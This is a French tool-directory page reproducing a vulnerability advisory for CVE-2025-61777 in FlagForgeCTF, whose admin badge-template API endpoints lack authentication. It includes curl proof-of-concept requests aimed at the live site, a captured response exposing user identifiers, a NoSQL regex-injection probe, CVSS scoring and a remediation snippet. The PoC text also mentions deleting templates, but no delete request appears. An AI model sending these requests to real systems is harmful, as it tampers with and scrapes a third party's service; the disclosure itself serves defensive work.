Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-61777 — CVE sur FlagForgeCTF dans les versions v2.0.0 à v2.3.1. Mise à niveau vers la version 2.3.2 pour corriger le problème. | Kitploit
Outils/GitHubGitHub/0x0w1z/cve-2025-61777
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionSécurité des API
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE sur FlagForgeCTF dans les versions v2.0.0 à v2.3.1. Mise à niveau vers la version 2.3.2 pour corriger le problème.

Voir le dépôt
2il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-61777

1. Modification non autorisée des modèles de badges sur FlagforgeCTF CVE-2025-61777

Résumé

L'application Flagforge (https://flagforge.xyz) expose des vulnérabilités critiques dans ses points de terminaison d'API administratifs, spécifiquement /api/admin/badge-templates (GET) et /api/admin/badge-templates/create (POST). Ces deux points de terminaison ne disposent d'aucun contrôle d'authentification ou d'autorisation, permettant à des utilisateurs non authentifiés de récupérer des données sensibles de modèles de badges et de créer des modèles arbitraires dans la base de données MongoDB. Cela pourrait conduire à une exposition non autorisée de données, à une pollution de la base de données ou à un abus du système de badges (par exemple, la création de modèles malveillants ou de spam).

Description

Points de terminaison concernés

  1. GET /api/admin/badge-templates :
    • Renvoie un tableau JSON de tous les modèles de badges stockés dans la collection MongoDB badgeTemplates.
    • Les champs exposés incluent _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt et __v.
    • Aucun en-tête d'authentification, clé API ou vérification de session n'est requis, rendant le point de terminaison accessible publiquement.
    • Exemple de réponse (via cURL) :
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create :
    • Permet la création de nouveaux modèles de badges avec des champs contrôlés par l'utilisateur : name, description, icon, color, isActive et createdBy.
    • Vérifications de validation minimales pour la présence de name, description et icon, et garantit qu'aucun name en double n'existe.
    • Aucune vérification d'authentification ou d'autorisation, permettant à quiconque d'insérer des données dans la base de données.
    • Exemple de code (issu du code source fourni) :
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Faiblesses

  • CWE-200 : Exposition d'informations sensibles à un acteur non autorisé (point de terminaison GET) : Expose des identifiants d'utilisateurs (par exemple, Lagzen Thakuri, [email protected]) et des métadonnées, permettant la reconnaissance ou le hameçonnage.
  • CWE-306 : Absence d'authentification pour une fonction critique (les deux points de terminaison) : Aucun contrôle d'accès sur les routes administratives.
  • CWE-284 : Contrôle d'accès inapproprié (les deux points de terminaison) : Permet la récupération et la modification non autorisées de données.
  • Injection NoSQL potentielle : Bien que le point de terminaison POST déstructure explicitement les champs, le point de terminaison GET pourrait être vulnérable s'il prend en charge les paramètres de requête (par exemple, ?name[$ne]=test).
  • Risque de pollution des journaux : Le point de terminaison POST journalise les champs name et createdBy contrôlés par l'utilisateur, ce qui pourrait être abusé pour du spam de journaux ou une injection.

Score CVSS v3.1

  • Score de base : 9,1 (Critique)
  • Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Vecteur d'attaque (AV) : Réseau (points de terminaison accessibles publiquement).
    • Complexité de l'attaque (AC) : Faible (aucune condition particulière requise).
    • Privilèges requis (PR) : Aucun (aucune authentification nécessaire).
    • Interaction utilisateur (UI) : Aucune (requêtes HTTP directes).
    • Portée (S) : Inchangée (affecte l'application elle-même).
    • Confidentialité (C) : Élevée (expose les données utilisateur).
    • Intégrité (I) : Élevée (permet la création arbitraire de données).
    • Disponibilité (A) : Faible (DoS potentiel via la création massive de modèles).

Systèmes concernés

  • Application : Flagforge (https://flagforge.xyz)
  • Composants :
    • Routes API Next.js : /api/admin/badge-templates (GET) et /api/admin/badge-templates/create (POST).
    • Base de données MongoDB : collection badgeTemplates.
  • Hébergement : Vercel (serverless, déduit de l'en-tête server: Vercel).
  • Versions : Inconnues (supposé Next.js 13+ d'après la syntaxe NextRequest/NextResponse).
  • Dépendances : Pilote MongoDB (via l'utilitaire de connexion personnalisé @/utlis/db), Next.js.

Impact

  • Confidentialité : Exposition des identifiants utilisateur (createdBy) et des métadonnées (createdAt, updatedAt), qui pourraient être utilisées pour l'ingénierie sociale ou des attaques ciblées.
  • Intégrité : Création non autorisée de modèles de badges, pouvant conduire à du spam, du hameçonnage ou l'affichage de contenu malveillant dans l'application.
  • Disponibilité : Déni de service (DoS) potentiel en inondant le point de terminaison POST avec des créations de modèles, consommant les ressources de la base de données.
  • Exploitabilité : Élevée, car les points de terminaison sont accessibles publiquement via de simples requêtes HTTP (par exemple, cURL, Postman) sans barrière d'authentification.

Preuve de concept

  1. Récupérer des données sensibles (GET) :

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Renvoie une liste JSON de tous les modèles de badges, y compris des champs sensibles comme createdBy (par exemple, [email protected]).
  2. Créer un modèle non autorisé (POST) et supprimer les modèles (DELETE) :

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Crée un nouveau modèle dans la collection badgeTemplates.
    • Supprime les modèles de badges.
    • Vérifier en réexécutant la requête GET pour confirmer l'apparition du nouveau modèle.
  3. Injection NoSQL potentielle (GET, si les paramètres de requête sont pris en charge) :

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Tester si le point de terminaison traite les opérateurs MongoDB, ce qui pourrait contourner les filtres ou exposer des données supplémentaires.

Recommandations

Correctifs immédiats

  1. Implémenter l'authentification :
    • Ajouter un middleware pour vérifier l'identité de l'utilisateur (par exemple, JWT, NextAuth.js ou clés API) pour les deux points de terminaison.
      root@kitploit:~
      // Exemple de middleware pour le point de terminaison POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // Implémenter verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... code existant ...
      }
      
  2. Restreindre le point de terminaison GET :
    • Limiter le point de terminaison GET aux administrateurs authentifiés ou renvoyer des données minimales (par exemple, exclure createdBy).
    • Si les paramètres de requête sont pris en charge, assainir les entrées pour prévenir l'injection NoSQL.

Références

  • CWE-200 : https://cwe.mitre.org/data/definitions/200.html
  • CWE-306 : https://cwe.mitre.org/data/definitions/306.html
  • CWE-284 : https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10 : https://owasp.org/www-project-api-security/
  • Calculateur CVSS v3.1 : https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Télécharger l’outil